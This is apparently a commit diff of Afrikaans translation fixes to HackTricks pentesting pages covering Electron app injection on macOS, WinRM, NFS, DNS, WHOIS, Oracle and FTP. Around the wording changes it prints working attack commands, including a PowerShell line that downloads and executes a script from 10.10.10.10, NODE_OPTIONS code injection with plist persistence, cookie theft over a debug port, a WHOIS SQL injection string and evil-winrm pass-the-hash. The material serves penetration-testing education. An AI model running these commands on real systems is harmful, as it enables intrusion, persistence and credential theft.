mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
ee0ca47294
commit
47f8c676e3
@ -13,11 +13,11 @@ Hierdie tegnieke sal volgende bespreek word, maar in onlangse tye het Electron v
|
||||
|
||||
- **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit.
|
||||
- **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit vermy hierdie manier om kode in te spuit.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode-inspuiting** deur die inhoud van hierdie lêer te wysig.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode inspuiting** deur die inhoud van hierdie lêer te wysig.
|
||||
- **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit slegs app.asar nagaan en gebruik, in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaiersproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot.
|
||||
|
||||
Nog 'n interessante fuse wat nie kode-inspuiting sal voorkom nie, is:
|
||||
Nog 'n interessante fuse wat nie kode inspuiting sal voorkom nie, is:
|
||||
|
||||
- **EnableCookieEncryption**: As dit geaktiveer is, word die koekie stoor op skyf geënkripteer met behulp van OS-vlak kriptografie sleutels.
|
||||
|
||||
@ -39,7 +39,7 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Modifying Electron Fuses
|
||||
|
||||
Soos die [**dokumentasie noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), is die konfigurasie van die **Electron Fuses** geconfigureer binne die **Electron binêre** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
|
||||
Soos die [**dokumentasie noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), die konfigurasie van die **Electron Fuses** is geconfigureer binne die **Electron binêre** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
|
||||
|
||||
In macOS toepassings is dit tipies in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
@ -66,11 +66,11 @@ Daar kan **eksterne JS/HTML lêers** wees wat 'n Electron App gebruik, so 'n aan
|
||||
|
||||
Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, **die** **asar** lêer met u **kwaadwillige** kode te **wysig**, dit weer terug te hernoem na **`app.app/Contents`** en dit uit te voer.
|
||||
|
||||
U kan die kode uit die asar lêer onpack met:
|
||||
U kan die kode uit die asar lêer onpak met:
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
En pak dit weer in nadat dit met die volgende gewysig is:
|
||||
En pak dit weer in nadat dit gewysig is met:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
@ -123,13 +123,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> As die fuse **`EnableNodeOptionsEnvironmentVariable`** **deaktiveer** is, sal die app die env var **NODE_OPTIONS** **ignore** wanneer dit gelaai word, tensy die env variable **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignore** sal word as die fuse **`RunAsNode`** deaktiveer is.
|
||||
> As die fuse **`EnableNodeOptionsEnvironmentVariable`** is **deaktiveer**, sal die app die env var **NODE_OPTIONS** **ignore** wanneer dit gelaai word, tensy die env variabele **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignore** sal word as die fuse **`RunAsNode`** deaktiveer is.
|
||||
>
|
||||
> As jy nie **`ELECTRON_RUN_AS_NODE`** stel nie, sal jy die **fout** vind: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
### Inspuiting vanaf die App Plist
|
||||
|
||||
Jy kan hierdie env variable in 'n plist misbruik om volharding te handhaaf deur hierdie sleutels by te voeg:
|
||||
Jy kan hierdie env variabele in 'n plist misbruik om volharding te handhaaf deur hierdie sleutels by te voeg:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
@ -147,7 +147,7 @@ Jy kan hierdie env variable in 'n plist misbruik om volharding te handhaaf deur
|
||||
```
|
||||
## RCE met inspeksie
|
||||
|
||||
Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daarop kan aansluit (byvoorbeeld van Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\
|
||||
Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), as jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, sal 'n **debug-poort oop wees** sodat jy daaraan kan koppel (byvoorbeeld vanaf Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\
|
||||
Byvoorbeeld:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
@ -159,7 +159,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
>
|
||||
> U kan egter steeds die **electron param `--remote-debugging-port=9229`** gebruik, maar die vorige payload sal nie werk om ander prosesse uit te voer nie.
|
||||
|
||||
Deur die param **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien dit **ontsleuteld** binne die blaaiers is en daar 'n **json eindpunt** is wat hulle sal gee).
|
||||
Deur die param **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **cookies** van die blaaier (aangesien dit **ontsleuteld** binne die blaaier is en daar 'n **json endpoint** is wat dit sal gee).
|
||||
|
||||
U kan leer hoe om dit te doen in [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese hulpmiddel [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) of 'n eenvoudige skrip soos:
|
||||
```python
|
||||
@ -194,7 +194,7 @@ Jy kan hierdie omgewing veranderlike in 'n plist misbruik om volharding te handh
|
||||
|
||||
## Voer nie-JS Kode uit
|
||||
|
||||
Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind prosesse onder dieselfde sandbox profiel** as die ouer toepassing loop en **hul TCC toestemmings erf**.\
|
||||
Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind proses onder dieselfde sandbox profiel** as die ouer toepassing loop en **hulle TCC toestemmings erf**.\
|
||||
Daarom, as jy voorregte wil misbruik om toegang tot die kamera of mikrofoon te verkry, kan jy eenvoudig **'n ander binêre vanaf die proses uitvoer**.
|
||||
|
||||
## Outomatiese Inspuiting
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die **Ident Protokol** word oor die **Internet** gebruik om 'n **TCP-verbinding** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **veiligheid**, werk dit deur 'n bediener toe te laat om 'n kliënt op poort 113 te ondervra om inligting oor die gebruiker van 'n spesifieke TCP-verbinding aan te vra.
|
||||
Die **Ident Protokol** word oor die **Internet** gebruik om 'n **TCP-verbinding** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **veiligheid**, werk dit deur 'n bediener toe te laat om 'n kliënt op poort 113 te ondervra om inligting oor die gebruiker van 'n bepaalde TCP-verbinding aan te vra.
|
||||
|
||||
Egter, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit per ongeluk gebruikersinligting aan ongemagtigde partye kan openbaar. Verbeterde veiligheidsmaatreëls, soos versleutelde verbintenisse en streng toegangbeheer, word aanbeveel om hierdie risiko's te verminder.
|
||||
Egter, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit per ongeluk gebruikersinligting aan ongemagtigde partye kan onthul. Verbeterde veiligheidsmaatreëls, soos versleutelde verbintenisse en streng toegangbeheer, word aanbeveel om hierdie risiko's te verminder.
|
||||
|
||||
**Standaard poort:** 113
|
||||
```
|
||||
|
@ -9,7 +9,7 @@
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
- Naamdiens vir naamregistrasie en -oplossing (poorte: 137/udp en 137/tcp).
|
||||
- Datagramverspreidingsdiens vir verbindinglose kommunikasie (poort: 138/udp).
|
||||
- Datagramverspreidingsdiens vir verbindslose kommunikasie (poort: 138/udp).
|
||||
- Sessiediens vir verbindingsgeoriënteerde kommunikasie (poort: 139/tcp).
|
||||
|
||||
### Naamdiens
|
||||
|
@ -13,11 +13,11 @@ Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wa
|
||||
```
|
||||
## Samevatting
|
||||
|
||||
1. **Weergawe Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
|
||||
1. **Weergawe-Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
|
||||
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig.
|
||||
3. **SID Naam Enumerasie/Bruteforce**: Ontdek databasisname (SID).
|
||||
4. **Geloofsbriewe Bruteforce**: Probeer om toegang te verkry tot ontdekte SID.
|
||||
5. **Kode Uitvoering**: Probeer om kode op die stelsel uit te voer.
|
||||
5. **Kode-uitvoering**: Probeer om kode op die stelsel uit te voer.
|
||||
|
||||
Om MSF oracle modules te gebruik, moet jy 'n paar afhanklikhede installeer: [**Installasie**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
|
||||
|
@ -13,11 +13,11 @@ Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wa
|
||||
```
|
||||
## Samevatting
|
||||
|
||||
1. **Weergawe Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
|
||||
1. **Weergawe-Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
|
||||
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig.
|
||||
3. **SID Naam Enumerasie/Bruteforce**: Ontdek databasisname (SID).
|
||||
4. **Geloofsbriewe Bruteforce**: Probeer om toegang te verkry tot ontdekte SID.
|
||||
5. **Kode Uitvoering**: Probeer om kode op die stelsel uit te voer.
|
||||
5. **Kode-uitvoering**: Probeer om kode op die stelsel uit te voer.
|
||||
|
||||
Om MSF oracle modules te gebruik, moet jy 'n paar afhanklikhede installeer: [**Installasie**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
|
@ -18,11 +18,11 @@ Kry al die inligting wat 'n whois-diens oor 'n domein het:
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Let wel dat wanneer daar soms gevraag word om inligting van 'n WHOIS-diens, die databasis wat gebruik word in die antwoord verskyn:
|
||||
Let wel dat soms wanneer 'n versoek vir inligting aan 'n WHOIS-diens gemaak word, die databasis wat gebruik word in die antwoord verskyn:
|
||||
|
||||
.png>)
|
||||
|
||||
Ook, die WHOIS-diens moet altyd 'n **databasis** gebruik om die inligting te stoor en te onttrek. So, 'n moontlike **SQLInjection** kan teenwoordig wees wanneer **gevraag** word na die databasis van inligting wat deur die gebruiker verskaf is. Byvoorbeeld, deur te doen: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` kan jy in staat wees om **alle** die **inligting** wat in die databasis gestoor is, te **onttrek**.
|
||||
Ook, die WHOIS-diens moet altyd 'n **databasis** gebruik om die inligting te stoor en te onttrek. So, 'n moontlike **SQLInjection** kan teenwoordig wees wanneer **gevraagde** inligting uit die databasis opgevraag word wat deur die gebruiker verskaf is. Byvoorbeeld, deur te doen: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` kan jy in staat wees om **alle** die **inligting** wat in die databasis gestoor is, te **onttrek**.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP wat in die proses benut word. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
|
||||
|
||||
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik om eenvoudige afstandadministrasie deur PowerShell uit te voer, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
|
||||
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandadministrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
|
||||
'n Geopende poort uit die bogenoemde lys dui aan dat WinRM opgestel is, wat pogings om 'n afstandsessie te begin, toelaat.
|
||||
'n Geopende poort uit die lys hierbo dui aan dat WinRM opgestel is, wat pogings om 'n afstandsessie te begin, toelaat.
|
||||
|
||||
### **Begin 'n WinRM-sessie**
|
||||
### **Inisieer 'n WinRM-sessie**
|
||||
|
||||
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as vertroulik aan te dui:
|
||||
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertroulik aan te dui:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
@ -40,7 +40,7 @@ Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui
|
||||
|
||||
.png>)
|
||||
|
||||
- Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit geen sulke gedetailleerde inligting oplewer nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
|
||||
- Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, kan jy doen:
|
||||
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, jy kan doen:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -60,7 +60,7 @@ Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration}
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### Kry omgekeerde dop
|
||||
### Kry omgekeerde-skaal
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
@ -87,7 +87,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
|
||||
**Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop**
|
||||
|
||||
### **WinRM Dwing om Oop te Wees**
|
||||
### **WinRM Dwing om Oop te wees**
|
||||
|
||||
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:
|
||||
```powershell
|
||||
@ -148,7 +148,7 @@ evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Om evil-winrm te gebruik om met 'n **IPv6 adres** te verbind, skep 'n inskrywing binne _**/etc/hosts**_ wat 'n **domeinnaam** aan die IPv6 adres toewys en verbind met daardie domein.
|
||||
|
||||
### Pas die hash met evil-winrm aan
|
||||
### Pas die hash met evil-winrm deur
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
|
@ -8,9 +8,9 @@
|
||||
|
||||
'n Opmerklike aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klient-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**.
|
||||
|
||||
Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, 'n uitdaging ontstaan weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie.
|
||||
Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, ontstaan 'n uitdaging weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie.
|
||||
|
||||
**Standaard poort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP).
|
||||
**Standaardpoort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP).
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
@ -20,7 +20,7 @@ Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidma
|
||||
|
||||
- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergroottes te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind.
|
||||
|
||||
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
|
||||
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks kenmerke gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
|
||||
|
||||
Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, wat progressief sekuriteit, kompatibiliteit en prestasie verbeter.
|
||||
|
||||
@ -46,7 +46,7 @@ Dan monteer dit met:
|
||||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het.
|
||||
U moet spesifiseer om **weergawe 2** te gebruik omdat dit **geen** **verifikasie** of **outorisering** het nie.
|
||||
|
||||
**Voorbeeld:**
|
||||
```bash
|
||||
@ -74,13 +74,13 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te
|
||||
|
||||
- **Gebruik van Onveilige Poorte (`insecure`):** Wanneer geaktiveer, laat dit die stelsel toe om poorte bo 1024 te gebruik. Die sekuriteit van poorte bo hierdie reeks kan minder streng wees, wat die risiko verhoog.
|
||||
|
||||
- **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs as 'n ander lêerstelsel onder 'n geëksporteerde gids gemonteer is. Elke gids vereis sy eie uitvoerinskrywing vir behoorlike bestuur.
|
||||
- **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs al is 'n ander lêerstelsel onder 'n geëksporteerde gids gemonteer. Elke gids vereis sy eie uitvoerinskrywing vir behoorlike bestuur.
|
||||
|
||||
- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken.
|
||||
- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken.
|
||||
|
||||
- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel bewaar word, wat tot toestemming- en toegangbeheerprobleme kan lei as dit nie korrek hanteer word nie.
|
||||
- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel bewaar word, wat kan lei tot toestemming en toegangbeheer probleme as dit nie korrek hanteer word nie.
|
||||
|
||||
## Voorregverhoging deur NFS-misconfigurasies
|
||||
## Voorregverhoging deur NFS misconfigurasies
|
||||
|
||||
[NFS no_root_squash en no_all_squash voorregverhoging](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
|
||||
|
||||
|
@ -40,7 +40,7 @@ Dit is ook moontlik om die banner te verkry met 'n **nmap** skrip:
|
||||
```
|
||||
### **Enige rekord**
|
||||
|
||||
Die rekord **ANY** sal die DNS-bediener vra om **alle** beskikbare **ingevoerde** wat **hy bereid is om te openbaar** te **terug te gee**.
|
||||
Die rekord **ANY** sal die DNS-bediener vra om **terug te gee** al die beskikbare **ingevoerde** wat **hy bereid is om bekend te maak**.
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
@ -107,7 +107,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
|
||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
||||
```
|
||||
### Aktiewe Gids servers
|
||||
### Aktiewe Gidsdienste bedieners
|
||||
```bash
|
||||
dig -t _gc._tcp.lab.domain.com
|
||||
dig -t _ldap._tcp.lab.domain.com
|
||||
@ -130,7 +130,7 @@ Brute force met "AAAA" versoeke om die IPv6 van die subdomeine te versamel.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
Bruteforce omgekeerde DNS met IPv6 adresse
|
||||
Bruteforce omgekeerde DNS met behulp van IPv6 adresse
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
@ -152,11 +152,11 @@ dig google.com A @<IP>
|
||||
|
||||
### E-pos na nie-bestaande rekening
|
||||
|
||||
**Om 'n e-pos na 'n nie-bestaande adres te stuur** met die slagoffer se domein kan die slagoffer laat stuur 'n nie-aflewering kennisgewing (NDN) boodskap waarvan die **koptekste** interessante inligting kan bevat soos die **naam van interne bedieners en IP adresse**.
|
||||
**Om 'n e-pos na 'n nie-bestaande adres te stuur** met die slagoffer se domein kan die slagoffer laat stuur 'n nie-aflewering kennisgewing (NDN) boodskap waarvan die **koppe** interessante inligting kan bevat soos die **naam van interne bedieners en IP adresse**.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
- Wanneer jy die konfigurasie van 'n Bind-bediener nagaan, kyk na die konfigurasie van die parameter **`allow-transfer`** aangesien dit aandui wie sone-oordragte kan uitvoer en **`allow-recursion`** en **`allow-query`** aangesien dit aandui wie rekursiewe versoeke en versoeke na dit kan stuur.
|
||||
- Wanneer jy die konfigurasie van 'n Bind-bediener nagaan, kyk na die konfigurasie van die parameter **`allow-transfer`** aangesien dit aandui wie sone oordragte kan uitvoer en **`allow-recursion`** en **`allow-query`** aangesien dit aandui wie rekursiewe versoeke en versoeke na dit kan stuur.
|
||||
- Die volgende is die name van DNS-verwante lêers wat interessant kan wees om binne masjiene te soek:
|
||||
```
|
||||
host.conf
|
||||
|
@ -14,11 +14,11 @@ PORT STATE SERVICE
|
||||
```
|
||||
### Verbindinge Aktief & Passief
|
||||
|
||||
In **Aktiewe FTP** begin die FTP **klient** eers die beheer **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort – poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
|
||||
In **Aktiewe FTP** begin die FTP **klient** eers die kontrole **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort – poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
|
||||
|
||||
Maar, as die FTP Klient 'n firewall opgestel het wat die inkomende dataverbindinge van buite beheer, kan aktiewe FTP 'n probleem wees. En, 'n haalbare oplossing daarvoor is Passiewe FTP.
|
||||
|
||||
In **Passiewe FTP**, begin die klient die beheerverbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
|
||||
In **Passiewe FTP**, begin die klient die kontrole verbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
|
||||
|
||||
